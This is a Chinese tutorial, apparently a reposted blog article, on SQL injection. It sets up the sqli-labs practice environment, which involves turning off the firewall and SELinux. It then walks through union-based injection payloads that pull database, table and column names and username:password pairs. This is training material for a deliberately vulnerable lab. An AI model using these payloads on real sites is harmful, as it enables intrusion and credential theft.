漏洞篇(SQL注入一)
目錄
一、sql 注入概述
1、SQL 注入原理
2、SQL 注入的分類
二、部署 sqli-labs 學(xué)習(xí)環(huán)境
1、SQLI-LABS 簡介
2、部署 SQLI-LABS 實驗環(huán)境
三、SQLI-LABS 教學(xué)
1、Less-1
2、閉合方式概述
3、使用 order by 判斷表中字段數(shù)
4、常見手動 sql 注入的閉合方式
四、SQL 注入-聯(lián)合查詢?
1、爆出字段的顯示位置
2、獲取數(shù)據(jù)庫名稱
3、列出當前數(shù)據(jù)庫中所有表的名稱
4、獲取 users 表中的字段名
5、獲取用戶名密碼字段中的值
一、sql 注入概述
1、SQL 注入原理
用戶登錄的基本 SQL 語句: select * from users where username = '用戶輸入的用戶名'and password = '用戶輸入的密碼' 用戶輸入的內(nèi)容是可控的,例如我們可以在用戶名中輸入' or 1=1 --空格 select * from users where username = ' ' or 1=1 --空格 'and password = '用戶輸入的密碼' ???????? 此時我們輸入的第一個單引號將 username 的單引號閉合,相當于輸入了一個空用戶,or 表示左右 兩邊只要有一邊條件判斷成立則該語句返回結(jié)果為真,其中 1=1 永遠為真,所以當前 SQL 語句無論怎么 執(zhí)行結(jié)果永遠為真,--空格表示注釋,注釋后面所有代碼不再執(zhí)行。 我們可以看到上面我們閉合的方法是沒有輸入用戶名的,所以并不能成功登陸 select * from users where username = ' admin' or 1=1 --空格 'and password ='用戶輸入的 密碼'???????? ???????? 我們在單引號前面加上用戶名表示我們要登陸的用戶。這樣就成功繞過了用戶密碼認證。 單引號的作用: 在提交數(shù)據(jù)或者 URL 中添加單引號進行提交如果返回 SQL 錯誤即可判斷當前位置存在 SQL 注入漏洞。原因是沒有被過濾。????????2、SQL 注入的分類
SQL 注入的分類基本上都是根據(jù)在注入的方式進行分類,大概分為以下 4 類 1、布爾注入:可以根據(jù)返回頁面判斷條件真假的注入; 2、聯(lián)合注入:可以使用 union 的注入; 3、延時注入:不能根據(jù)頁面返回內(nèi)容判斷任何信息,用條件語句查看時間延遲語句是否執(zhí)行(即頁面返回時間是否增加)來判斷; 4、報錯注入:頁面會返回錯誤信息,或者把注入的語句的結(jié)果直接返回在頁面中; 以上是根據(jù)常見的注入方式進行分類,但是通常來說 SQL 注入只分為字符型或者數(shù)字型比如: 數(shù)字型 1 or 1=1 字符型 1' or '1'='1???????????????? ????????二、部署 sqli-labs 學(xué)習(xí)環(huán)境
1、SQLI-LABS 簡介
SQLI-LABS 是一個學(xué)習(xí) SQL 注入的實驗平臺 下載地址:https://github.com/Audi-1/sqli-labs???????? ????????2、部署 SQLI-LABS 實驗環(huán)境
關(guān)閉防火墻并設(shè)置開機不啟動 ???????? [root@localhost ~]# systemctl stop firewalld.service [root@localhost ~]# systemctl disable firewalld.service 關(guān)閉 selinux???????? ???????? [root@localhost ~]# vim /etc/selinux/config # 打開配置文件 將 SELINUX=enforcing 這一項設(shè)置為 SELINUX= disabled 保存退出???????? [root@localhost ~]# reboot #重啟系統(tǒng),才能徹底關(guān)閉selinux [root@localhost ~]# iptables -F #清空防火規(guī)則 (1)接下來使用 rpm 包,快速搭建 LAMP 環(huán)境: ???????????????? [root@localhost ~]# yum install -y httpd php php-mysql php-gd mariadb-server mariadb 注:php-gd 庫:gd 庫是 php 處理圖形的擴展庫,gd 庫提供了一系列用來處理圖片的 API,使用 GD 庫可以處理圖片,或者生成圖片。 在網(wǎng)站上 GD 庫通常用來生成縮略圖或者用來對圖片加水印或者 對網(wǎng)站數(shù)據(jù)生成報表及驗證碼。???????? (2)安裝完之后,檢查安裝的狀態(tài)和啟動服務(wù)???????????????? ???????? [root@localhost ~]# systemctl start httpd [root@localhost ~]# systemctl start mariadb 開機啟動: ?? ???????? [root@localhost ~]# systemctl enable httpd Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service. [root@localhost ~]# systemctl enable mariadb Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service. (3)測試 LAMP 環(huán)境:???????? ???????? [root@localhost ~]# vim /var/www/html/test.php <?php phpinfo(); ?> (4)配置 mysql 數(shù)據(jù)庫 root 用戶密碼:???????? ???????? [root@localhost ~]# mysqladmin -u root password "123.com" [root@localhost ~]# mysql -proot -u (5)安裝 sqli-labs 教學(xué)環(huán)境 使用 rz 命令上傳 sqli-labs 到 centos 系統(tǒng)上???????? [root@localhost ~]# rz 上傳完成后關(guān)閉該窗口???????? [root@localhost ~]# unzip sqli-labs-master.zip -d /var/www/html [root@localhost ~]# mv /var/www/html/sqli-labs-master/ /var/www/html/sqli-labs apache 默認運行用戶為 apache 所以我們需要修改文件權(quán)限 [root@localhost ~]# chown -R apache:apache /var/www/html/ [root@localhost ~]# vim /var/www/html/sqli-labs/sql-connections/db-creds.inc 改: 5 $dbpass =''; 為: 5 $dbpass ='123456'; :wq 保存退出三、SQLI-LABS 教學(xué)
每個例子都有對應(yīng)的 Less-ID,我們直接以 Less-ID 表示對應(yīng)的頁面即可。1、Less-1
?提示我們輸入一個 ID 參數(shù),我們修改 url 來傳遞 ID 參數(shù)
http://192.168.1.102/sqli-labs/Less-1/?id=1 參數(shù)說明: ?表示傳遞參數(shù),通常都是在頁面后會有 ?id=數(shù)值,這樣的方式傳遞參數(shù)給服務(wù)器,然后給我們返 回參數(shù)對應(yīng)的頁面信息,我們發(fā)現(xiàn)我們是在/后面直接使用?傳遞參數(shù),此時參數(shù)會傳遞給默認頁面。 實際上在 URL 中傳遞參數(shù)時 ,相當于執(zhí)行了以下 sql 語句: MariaDB [security]> select * from users where id='1'; 我們嘗試添加一個單引號看一下錯誤信息 http://192.168.1.102/sqli-labs/Less-1/?id=1%27???????? You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 我們分析一下報錯的 SQL 語句位置 ''1'' LIMIT 0,1' 把外面的單引號去掉,那是用來說明報錯的 SQL 語句位置的。 '1' ' LIMIT 0,1 我們看到我們輸入的 id=1 此時 id 參數(shù)已經(jīng)成功閉合,但是多了一個單引號導(dǎo)致后面的語句執(zhí)行失 敗,由此我們可以確認當前位置存在 SQL 注入 。原因是我們輸入的單引號沒有被過濾,成功帶入數(shù)據(jù)庫中執(zhí)行。???????? ???????????????? 擴展:LIMIT 用法 LIMIT 是 MySQL 內(nèi)置函數(shù),其作用是用于限制查詢結(jié)果的條數(shù)。 其語法格式: LIMIT [位置偏移量,] 行數(shù) 其中,中括號里面的參數(shù)是可選參數(shù),位置偏移量是指 MySQL 查詢分析器要從哪一行開始顯示,索 引值從 0 開始,即第一條記錄位置偏移量是 0,第二條記錄的位置偏移量是 1,依此類推...,第二個參數(shù)為 “行數(shù)”即指示返回的記錄條數(shù)。 一句話概括: 位置偏移量可以理解為跳過前 N 條記錄,或從第 N 條記錄開始,往后顯示 N 條記 錄。2、閉合方式概述
閉合方式是指開發(fā)人員在 sql 語句中的加在參數(shù)變量兩邊的符號。這個 sql 語句中的$id 采用的閉合方式就是單引號。 ? ?
????????? ?
3、使用 order by 判斷表中字段數(shù)
ORDER BY 關(guān)鍵詞用于對記錄集中的數(shù)據(jù)進行排序。???????? ???????? 用法 1:按某個字段進行排序: 語法:select 字段 1,字段 2 from 表名 order by 字段名; 例:order by 用于 MySQL 查詢排序(升序) MariaDB [security]> select * from users order by id;???????? 用法 2:按第幾個字段進行排序,如果超過查詢的字段數(shù),就報錯 語法:select 字段 1,字段 2 from 表名 order by 數(shù)字;???????? ???????? 例 1:按第 2 個字段 username 進行排序 MariaDB [security]> select * from users order by 2;???????? ???????? 例 2:使用 order by 統(tǒng)計查詢的字段數(shù)量: MariaDB [security]> select * from users order by 10; ERROR 1054 (42S22): Unknown column '10' in 'order clause' 報錯:找不到 10 字段,因為 select *,其中的 * 代表表中的所有字段,也就是說明表中字段數(shù)量不 夠 10 個 在 hackbar 命令框中,輸入:http://192.168.1.63/sqli-labs/Less-1/ ?id=1'order by 4--+ 注: ?id=1 正常傳遞參數(shù) '單引號閉合 id 字段 order by 4 判斷是否存在 4 個字段 --+注釋掉后面的 SQL 語句?????????4、常見手動 sql 注入的閉合方式
or 1=1--+ 'or 1=1--+ "or 1=1--+ )or 1=1--+ ')or 1=1--+ ") or 1=1--+ "))or 1=1--+???????? 具體使用哪種方式取決于 SQL 語句使用了什么方式。我們可以在注入點輸入反斜杠\來判斷頁面使用 的哪種閉合方式。 http://192.168.1.102/sqli-labs/Less-1/?id=1\???????? \表示轉(zhuǎn)義,直接輸入\會將字段的閉合方式暴露出來,因為被轉(zhuǎn)義不生效,導(dǎo)致 SQL 語句報錯。并 爆出閉合方式。 彈出: '1\' LIMIT 0,1 這個錯。發(fā)現(xiàn)\轉(zhuǎn)義后有一個單引號,說明此 sql 語句基于單引號閉合。 ???????四、SQL 注入-聯(lián)合查詢?
1、爆出字段的顯示位置
使用聯(lián)合查詢爆出字段前,我們需要了解 union 的使用方法。 union [ ? ju ? ni ? n] 聯(lián)盟 UNION 操作符用于合并兩個或多個 SELECT 語句的結(jié)果集。 請注意,UNION 內(nèi)部的 SELECT 語句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類型。同 時,每條 SELECT 語句中的列的順序必須相同。 SQL UNION 語法: SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2 例 1:將 users 表中 id=1 和 users 表中 id=3 的兩個記錄合并到一個表中。 MariaDB [security]> select * from users where id=1 union select * from users where id=3; 例 2:在 MySQL 中使用 union 爆出字段 先使用單條語句查詢: MariaDB [security]> select * from users where id=1; 使用兩條語句結(jié)合查詢 MariaDB [security]> select * from users where id=1 union select 1,2,3;???????? ???????? 由此可以看到兩條語句結(jié)合輸出的結(jié)果,而 union select 1,2,3 表示,在上一條語句的查詢結(jié)果 中,再輸出 1 2 3 到對應(yīng)的字段中,因此可以利用來做爆出字段的顯示位置 在瀏覽器中輸入:???????? http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,2,3 --+???????? ???????? 這里修改了 1 個重要參數(shù),id=-1 這個值在數(shù)據(jù)庫中是不存在的,原因是程序只返回一個結(jié)果,所以我們需要使 union 前面的語句出錯才可以讓我們后面查詢的結(jié)果返回。 注:聯(lián)合查詢必須字段數(shù)一致。如果表存在 3 個字段聯(lián)合查詢的字段也必須是 3 個,否則報錯。從 而可以判斷表中的字段數(shù)。2、獲取數(shù)據(jù)庫名稱
獲取數(shù)據(jù)庫名稱會使用到 database(),而 database()是數(shù)據(jù)庫內(nèi)嵌的函數(shù),主要是用于查詢當前的數(shù)據(jù)庫名稱 我們獲得了對應(yīng)字段的顯示位置,就可以在對應(yīng)的位置查詢我們想要獲取到的數(shù)據(jù)庫信息。 ???????? http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,database(),3 --+???????? ???????? 注意:按以上語句中分析,1,database(),3 database()替換了字段 2,作用是查詢當前數(shù)據(jù)庫名稱。 而其中的 1 和 3 是補給第 1 和第 3 個字段的顯示結(jié)果 數(shù)據(jù)庫名稱是 security 拓展:常用函數(shù) version()? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #MySQL 版本 user() ??????????????????????????????????????????????????????#數(shù)據(jù)庫用戶名 database()? ? ? ? ? ? ? ? ? ?????????????????????????????#數(shù)據(jù)庫名 @@datadir? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??#數(shù)據(jù)庫路徑 @@version_compile_os ????????????????????????#操作系統(tǒng)版本 到這里我們已經(jīng)可以執(zhí)行數(shù)據(jù)庫中的函數(shù)了,所以我們可以查詢更多的數(shù)據(jù)。 ????????3、列出當前數(shù)據(jù)庫中所有表的名稱
先來了解 information_schema,這是 MySQL 自帶的一個元數(shù)據(jù)庫,用于存儲 MySQL 的數(shù)據(jù)結(jié) 構(gòu)。 元數(shù)據(jù)則是用于描述數(shù)據(jù)本身的數(shù)據(jù),稱為元數(shù)據(jù),包含了,MySQL 當中有多少個數(shù)據(jù)庫,這些數(shù) 據(jù)庫的名稱是什么,每個數(shù)據(jù)庫里有多少個表,具體的表名叫什么。 而 information_schema 這個庫里又存放了很多個表 ,這些表里的不同字段表示 MySQL 中的相關(guān) 信息。而我們也可以通過 information_schema 和以上我們學(xué)習(xí)到的注入使用方式去查詢更多的信息。 例:查看 information_schema 庫中 tables 表中 table_schema 等于 security 的相關(guān)信息 MariaDB [security]> select table_schema,table_name from information_schema.tables where table_schema='security'; 注:information_schema 庫中的 tables 表的字段解釋: table_schema ????????????????#該字段存儲數(shù)據(jù)庫名 ; table_name? ? ? ? ? ? ? ? ? ? ?#該字段存儲對應(yīng)數(shù)據(jù)庫中的包括的表名 總結(jié):從上圖查詢結(jié)果中可以看出, security 庫中有 4 張表,表的名字是:emails,referers, uagents,users 。 ???????? 實戰(zhàn):使用 group_concat()函數(shù)進行 sql 注入 group_concat()函數(shù)功能: 將 where 條件匹配到的多條記錄連接成一個字符串。 語法:group_concat (str1, str2,...) 返回結(jié)果為 連接參數(shù)產(chǎn)生的字符串 ,如果有任何一個參數(shù)為 null,則返回值為 null。 ???????? 例 1:使用 group_concat( table_name ) 將 table_schema = 'security'匹配到的 table_name 字 段值,連接成一個字符串。 可以匹配到的數(shù)據(jù)如下:???????????????? ???????? 執(zhí)行 sql 語句: MariaDB [security]> select group_concat(table_name) from information_schema.tables where table_schema="security"; group_concat( table_name ) #表示將分組中的值(table_name 字段)鏈接成一個字符串,然后 將該字符串返回 下面使用 sql 注入方式進行注入: http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema='security' --+?
4、獲取 users 表中的字段名
首先了解一下 information_schema 元數(shù)據(jù)庫下的 columns 表,columns 表用于存儲 MySQL 中 的所有表的字段類型。 例 1:使用 group_concat()將 users 表中的字段合并成一個字符串 執(zhí)行 sql 語句:TABLE_SCHEMA???????? ???????? MariaDB [security]> select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'; 例 2:通過 group_concat(column_name)進行 sql 注入,查看 users 表中字段 通過 sql 注入查詢http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,table_schema,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
5、獲取用戶名密碼字段中的值
例1:使用 group_concat(username,0x3a,password) 將用戶名和密碼連接成字符串, 并使用: 冒號將用戶名和密碼分隔開 。 擴展:0x 是十六進制的標志,3a 即十六進制的 3a。 0x3a 在 ASCII 碼表代表: 冒號 http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,2,group_concat(username,0x3a,password) from users --+?
?例2:實戰(zhàn)-在 sql 注入時加入換行符
我們可以在每一個用戶名:密碼后面添加一個換行符。 HTML 中換行符用<hr />來表示,但是我們需要轉(zhuǎn)換成十六進制 0x3C,0x68,0x72,0x2F,0x3E ASCII 碼表: https://baike.baidu.com/item/ASCII/309296?fr=aladdin 將十六進制的換行符添加到 password 字段后,注:password 后面必須添加一個逗號 我們可以看到每一行都是一個用戶名:密碼 不過從第二行開始用戶名前面多了一個逗號,這是 group_concat 函數(shù)在取值的過程中使用逗號進 行分割。所以這個逗號不能去掉。后期將數(shù)據(jù)導(dǎo)出到 txt 文檔后,可以使用 vim 命令,把逗號去掉。總結(jié)
以上是生活随笔為你收集整理的漏洞篇(SQL注入一)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Kubernetes入门一:介绍及环境准
- 下一篇: 程序人生丨如何体现测试工程师的价值